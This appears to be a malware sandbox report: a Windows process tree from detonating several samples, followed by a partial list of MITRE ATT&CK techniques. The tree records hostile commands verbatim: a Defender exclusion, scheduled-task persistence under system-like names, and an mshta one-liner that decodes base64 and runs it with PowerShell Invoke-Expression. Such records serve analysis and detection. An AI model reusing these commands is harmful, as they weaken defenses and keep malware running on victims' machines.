
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
1⤵
PID:6888
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
  2⤵
  PID:13484
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp48E6.tmp"
  2⤵
  PID:6992
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:4828
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
    3⤵
    PID:3928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Windows\DigitalLocker\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:12160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6760 -ip 6760
1⤵
PID:7204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 868 -ip 868
1⤵
PID:3936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\DigitalLocker\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:15092

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x410 0x2b4
1⤵
PID:9864

C:\Recovery\WindowsRE\SearchApp.exe
"C:\Recovery\WindowsRE\SearchApp.exe"
1⤵
PID:11904

C:\Windows\system32\mshta.EXE
C:\Windows\system32\mshta.EXE "javascript:new ActiveXObject('Shell.Application').ShellExecute('powershell', '-Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==\')))', '', '', 0);close();"
1⤵
PID:4280
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==')))
  2⤵
  PID:11860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Windows\DigitalLocker\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 6224 -ip 6224
1⤵
PID:11092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:10144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 868 -ip 868
1⤵
PID:7672

C:\Windows\vkl.exe
"C:\Windows\vkl.exe"
1⤵
PID:8036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:12280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6816

C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe
C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe
1⤵
PID:4764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5404 -ip 5404
1⤵
PID:7080

C:\Windows\DigitalLocker\RuntimeBroker.exe
"C:\Windows\DigitalLocker\RuntimeBroker.exe"
1⤵
PID:6272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 868 -ip 868
1⤵
PID:11772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\MSBuild\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\MSBuild\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3832

C:\Users\Admin\AppData\Local\Temp\test.exe
C:\Users\Admin\AppData\Local\Temp\test.exe
1⤵
PID:10348

C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe
"C:\Windows\assembly\GAC\ADODB\7.0.3300.0__b03f5f7f11d50a3a\fontdrvhost.exe"
1⤵
PID:5288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files\MSBuild\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:13632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 12592 -ip 12592
1⤵
PID:11528

C:\Program Files (x86)\DSL Subsystem\dslss.exe
"C:\Program Files (x86)\DSL Subsystem\dslss.exe"
1⤵
PID:14072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 868 -ip 868
1⤵
PID:7576

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
1⤵
PID:13324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7988

C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
1⤵
PID:14124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:11664

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
1⤵
PID:5856

C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
1⤵
PID:12964
- C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
  "C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"
  2⤵
  PID:13552

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
1⤵
PID:12320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 868 -ip 868
1⤵
PID:14504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:14692

C:\Program Files\MSBuild\conhost.exe
"C:\Program Files\MSBuild\conhost.exe"
1⤵
PID:12068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 868 -ip 868
1⤵
PID:6556

C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
1⤵
PID:12568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 868 -ip 868
1⤵
PID:11208

C:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exe
C:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exe
1⤵
PID:2928

C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe
C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe
1⤵
PID:15288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:12740

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
PID:13296
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{63E1489B-1DAE-4BCE-8A0D-6542605F05C3}.xps" 134094546230270000
  2⤵
  PID:5840
- - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe
    OfficeC2RClient.exe /error PID=5840 ProcessName="Microsoft OneNote" UIType=3 ErrorSource=0x8b10082a ErrorCode=0x80004005 ShowUI=1
    3⤵
    - Process spawned unexpected child process
    PID:8104
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{EC8D5EB4-2BDF-4AD8-BEA6-1A5C429BC4DF}.xps" 134094546224520000
  2⤵
  PID:12512
- - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe
    OfficeC2RClient.exe /error PID=12512 ProcessName="Microsoft OneNote" UIType=3 ErrorSource=0x8b10082a ErrorCode=0x80004005 ShowUI=1
    3⤵
    - Process spawned unexpected child process
    PID:3588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 868 -ip 868
1⤵
PID:3036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 868 -ip 868
1⤵
PID:13912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 868 -ip 868
1⤵
PID:9772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery